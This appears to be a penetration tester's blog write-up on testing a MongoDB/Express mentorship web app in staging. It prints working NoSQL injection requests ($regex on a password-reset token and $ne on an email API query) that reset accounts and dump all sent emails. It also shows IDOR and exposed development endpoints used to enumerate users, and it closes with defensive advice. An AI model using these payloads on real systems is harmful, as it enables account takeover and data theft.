First Steps
Navigating the application showed that it offered functionality for facilitating mentorships between mentors and mentees. Looking at the HTTP responses we found that the web server kindly introduced itself as an Express instance:
X-Powered-By: Express
Furthermore, some URLs had identifiers in their paths that looked like the following:
https://redacted.com/edit-account/635f956fdd6c0646a8cac28c
The format of the ID looks familiar. It is a MongoDB ObjectID. What gives it away is it’s length as well as the fact that it always starts with a 6; all MongoDB ObjectID’s by default will start with a 6 for some time (the first 4 bytes are a Linux epoch timestamp). What solidifies that MongoDB was being used in the backend is that it’s common-place for it to be used alongside Express.
Initial Tests
It’s always nice to know the different ways a target web application can accept input, so this is what we dug into next. In the case of Express, the web server by default only accepts a limited number of content types. Additional middleware can be added to accept other content types such that when it receives a body with said content type, it can normalise it by appropriately converting the body’s values to respective JavaScript types and therefore continue to function normally.
For example if the web application used the “express.json()” middleware, it can accept the following as a “POST” body:
{
"name": "Adam Shebani",
"dateOfBirth":
{
"year": 1970,
"month": 01,
"day": 01
}
}
“name” would then be of type “string” and “dateOfBirth” would be an “object” with three properties of type “int”.
As far as vulnerabilities go, this can be useful for NoSQL injection attacks given that we’ve identified that MongoDB is being used in the backend. In light of this, one particular piece of functionality that comes to mind to start looking at is the login page. Normally the browser would submit a “POST” request with the user email and password with a content type of “application/x-www-form-urlencoded”.
POST /auth/login HTTP/1.1
Host: redacted.com
Cookie: connect.sid=...
Content-Length: ...
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Connection: close
username=ruptura%40redacted.com&password=s3cr3tP4ssw0rd
Converting this request’s body to JSON and adjusting the “Content-Type” header accordingly also seemed to work.
POST /auth/login HTTP/1.1
Host: redacted.com
Cookie: connect.sid=...
Content-Length: 69
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Connection: close
{"username": "ruptura@redacted.com", "password": "s3cr3tP4ssw0rd"}
This suggests that the “express.json()” middleware was being used. So far so good. The next step would be to send a NoSQL injection payload to see if we can login without submitting the correct password for our account.
POST /auth/login HTTP/1.1
Host: redacted.com
Cookie: connect.sid=...
Content-Length: 69
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Connection: close
{"username": "ruptura@redacted.com", "password": {"$regex": ".*"}}
Unfortunately, this didn’t work, but the response did include the text “[object Object]” that indicated that at least part of the request body was being parsed as an object. The scent of NoSQL injection was still there so we continued to look further…
Further Digging
We turned our attention instead to the password reset flow. The process for resetting a user’s password was standard. You’d submit your account’s email address, you’ll receive an email message with a link, click the link and set your new password in the form presented to you. The password reset link contained the password reset token (unsurprisingly).
https://redacted.com/auth/password-reset/{reset-token}
The subsequent form request looked something like this:
POST /auth/password-reset HTTP/1.1
Host: redacted.com
Cookie: connect.sid=...
Content-Length: ...
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Connection: close
token={reset-token}&password=NewPasswordHere
The password reset token is included as part of the request body and not in the URL path, hence, it serves as a good candidate for another NoSQL injection attempt.
POST /auth/password-reset HTTP/1.1
Host: redacted.com
Cookie: connect.sid=...
Content-Length: ...
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Connection: close
{"token":{"$regex":".*"},"password":"YourS0ul1sMin3"}
We then received the following response:
HTTP/1.1 302 Found
Connection: close
X-Powered-By: Express
Location: /
Vary: Accept
Content-Type: text/html; charset=utf-8
Content-Length: 46
Set-Cookie: connect.sid=...; Path=/; Expires=Wed, 09 Nov 2022 10:18:48 GMT; HttpOnly
Date: ...
Found. Redirecting to /
The response indicated that the password reset was successful. Trying to login with the new password confirmed that we indeed were able to reset the password for our account!
Notice that the payload that we used contained the “$regex” operator with a regular expression value that matches all strings. And bare in mind, the above request will only reset the password for one user. This meant that had any other user requested a password reset token for their account, our NoSQL injection payload *may* have reset their password depending on which reset token was matched first with the DB query containing our regular expression.
We were testing in a staging environment, so this wasn’t an issue. However, from an attacker’s perspective this would raise some eyebrows if an attacker wanted to exploit this as they would need to send the NoSQL injection payload multiple times to reset their desired account, ultimately resetting the passwords of other users as well.
So we were now able to reset any user’s password given only knowledge of their email address, which could easily be retrieved using basic OSINT. Nice.
Next Steps
Something that immediately caught our attention was that a lot of the pages had inline JavaScript detailing a set of API endpoints for our convenience. One endpoint that stood out looked like this:
// Emails
const getAllSentEmailsGivenAddress = function(address) {
return getAll(`/api/sent-emails/?to=${address}`);
};
Invoking the endpoint with our email address returned all emails sent from the web application to our email, including those that included password reset tokens. Naturally we tried setting the “to” parameter to another address..
GET /api/sent-emails?to=josh@redacted.com HTTP/1.1
Host: redacted.com
Cookie: connect.sid=...
Connection: close
Which responded with:
[
{
"id": "632b1d1133f39df86aee0b91",
"_id": "632b1d1133f39df86aee0b91",
"from": "noreply@redacted.com",
"to": "josh@redacted.com",
"subject": "Thanks for signing up to redacted...",
}
...
]
The server didn’t deny us access to email messages not designated for us. We took it a step further with another NoSQL injection using nested query parameters:
GET /api/sent-emails?to[$ne]=1 HTTP/1.1
Host: redacted.com
Cookie: connect.sid=...
Connection: close
This resulted in us obtaining every single email that had been sent from the application. In a real-life scenario, this information could then be used as a great starting point for a plethora of further attacks. This includes harvesting email addresses for all users of the application.
/dev/
Speaking of harvesting emails, there was another endpoint that could be leveraged for just that.
// Development
...
function devUsersFindById(userId){
return getOne(`/api/dev/users/${userId}`);
}
You love to see it, development endpoints just laying around. Even though this was in a pre-production environment, the version of the application was still the production version, so these should have been omitted prior to release. We had to scavenge around a little to find another endpoint that would spill out the “userId’s” of other users. Ultimately we found this:
const getAccountById = function(accountId) {
return getOne(`/api/third-parties/accounts/${accountId}`);
};
We then structured a GET request to this endpoint with the following format:
GET /api/third-parties/accounts/635f956fdd6c0646a8cac28c HTTP/1.1
Host: redacted.com
Cookie: connect.sid=...
Connection: close
Which responded with:
[
{"id":"61a60e20a22781efc45eeefb","userId":"6166f7f6795b0717eab7ce2c"
,"serviceId":"619e1cdb3779c712736f402a","multiFactorAuthentication":
false,"lastPassAuthentication":false,"comment":""}
]
Without going into specifics, there wasn’t actually any third-party integration related data here.
The response contained an array with one object corresponding to our user. The object included the key ‘userId‘; exactly what we’re looking for.
The fact that it returned an array hinted that it might be possible to return results for other users too. This turned out to be possible simply by removing the ObjectID (‘accountId’) from the URL altogether.. `¯\_(ツ)_/¯`
We’re not too sure as to why this is, but most likely it’s because the DB query was using a partial-match filter for the ‘accountId’ (from the URL) and thus if it’s empty, it would return all objects from the collection.
And now with a list of ‘userId`s’ we could invoke the development endpoint from earlier to extract the email addresses from the web app, as well as identify the permissions of all the users for further targeting.
A structured HTTP GET request then provided us with all access controls for that user:
GET /api/dev/users/61016b08ddf4b17adcfe31e3 HTTP/1.1
Host: redacted.com
Cookie: connect.sid=...
Connection: close
HTTP/1.1 200 OK
Connection: close
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 175
Etag: W/"af-xJgmYZHRJEr0lpyACUfy+t9LeVU"
Date: ...
[{"id":"61016b08ddf4b17adcfe31e3","email":"josh@redacted.com","permissions":["AccountManagement","Mentoring","Domains","JobBoard"],"lastSeen":{"timestamp":1667224472860}}]
From this it was clear that access controls were non-existent post-login. There was even a development endpoint (starting with `/api/dev`) that allowed creating new users, including administrators, using no more than a low privileged user.
Conclusion
When security is neglected during development of any given solution, it is more often than not that it is inherently vulnerable to all sorts of attacks by default. Extra measures need to be taken in order to mitigate risks of being prone to exploitation.
When it comes to development of web applications, this usually boils down to not trusting any input supplied from an external source and ensuring that access controls are appropriately put in-place. Keeping track of what endpoints are available on the web application is also important to minimize the attack surface.
Familiarity with common vulnerabilities in the components used for development (as well as all web-based vulnerabilities in general) can also significantly aid in identifying what steps to take to secure the code-base.
Key Takeaways
- Regular web application penetration testing is essential.
- Ensure that developers are trained and made aware of common security issues, even at a basic level.
- Ensure that API’s have the same protections as the application itself, they should require robust authentication mechanisms and surrounding controls.
Credits
Our client, for allowing us to publish this story.
https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection
https://www.mongodb.com/